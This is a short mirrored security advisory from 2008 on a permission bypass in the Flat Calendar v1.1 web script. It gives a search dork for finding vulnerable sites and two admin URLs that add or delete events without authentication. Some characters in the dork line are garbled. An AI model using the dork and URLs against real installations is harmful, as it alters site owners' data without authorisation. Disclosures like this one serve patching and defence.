Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20034
HistoryJun 14, 2008 - 12:00 a.m.

Flat Calendar v1.1 Remote Permission Bypass Vulnerability

2008-06-1400:00:00
vulners.com
15

Flat Calendar v1.1 Remote Permission Bypass Vulnerability

Author : Crackers_Child

Dork : Flat Calendar: View All > Flat Calendar: View All iзin yaklaşık 654.000 sonuзtan

Exploits:

site.com/calender_path/admin/add.php > Adding New Evetns without admin permissions.

site.com/calender_path/admin/deleteEvent.php?eventNumber=[EVENTNUMBERid] > Deleting Events without admin
permissions.